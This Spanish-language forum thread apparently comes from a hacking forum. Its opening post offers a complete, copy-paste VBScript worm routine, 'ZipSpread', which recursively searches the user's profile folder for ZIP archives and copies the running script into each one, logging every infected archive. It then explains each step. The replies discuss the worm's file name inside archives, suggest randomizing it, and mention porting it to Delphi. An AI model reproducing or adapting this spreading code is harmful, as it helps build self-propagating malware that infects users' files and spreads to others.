Muy buenas a todos
Os traigo una pequeña función en
VBS (fácilmente exportable a otros lenguajes) para
infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:
(http://i.imgur.com/uhCEFqE.png)
Recomiendo el uso de
Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:
1) Creación de
variables para el uso del script:
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName
2) Recoger la ruta de los ficheros de la carpeta
%userprofile% Set Folds = oFSO.GetFolder(P)
Set Files = Folds.Files
3) Recoger la
extensión de cada fichero encontrado, busca si es un
.zipext = LCase(oFSO.GetExtensionName(File.path))
4) Creación de un objeto que permite trabajar con
carpetas ZIPSet FILE = CreateObject("Shell.Application").NameSpace(ZIP)
5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para
infectar el fichero .zip If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If
6) Buscamos si hay
sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:
Set File = Folds.Subfolders
For Each Subfol In File
Call ZipSpread(Subfol.path)
Next
==========================================
El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros
ZIP a modo de prueba:
ZipSpread("C:\carpeta_prueba")
Os dejo el código en formato
copypaste:
On Error Resume Next
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName
Function ZipSpread(P)
On Error Resume Next
Set Folds = oFSO.GetFolder(P)
Set Files = Folds.Files
For Each File In Files
ext = LCase(oFSO.GetExtensionName(File.path))
If ext = "zip" Then
EXE = SelfPath
ZIP = File.path
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
RR = ""
For Each CC in FILE.Items
RR = RR & CC.Name
Next
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If
End If
Next
Set File = Folds.Subfolders
For Each Subfol In File
Call ZipSpread(Subfol.path)
Next
End Function
Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
F.Close
MsgBox "<end>"
Saludos!! :D
genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?
Cita de: daryo en 11 Abril 2014, 17:57 PM
genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?
Queda guardado en la carpeta raíz del ZIP, con el nombre del fichero original. Por ejemplo:
Fichero: gusano.vbs
En los ficheros ZIP que infecte, se copiará con el nombre gusano.vbs
Se podría modificar el script para que cambie o genere un nombre aleatório.
Saludos
me gustaria traducirlo a delphi pero lo veo para avanzados.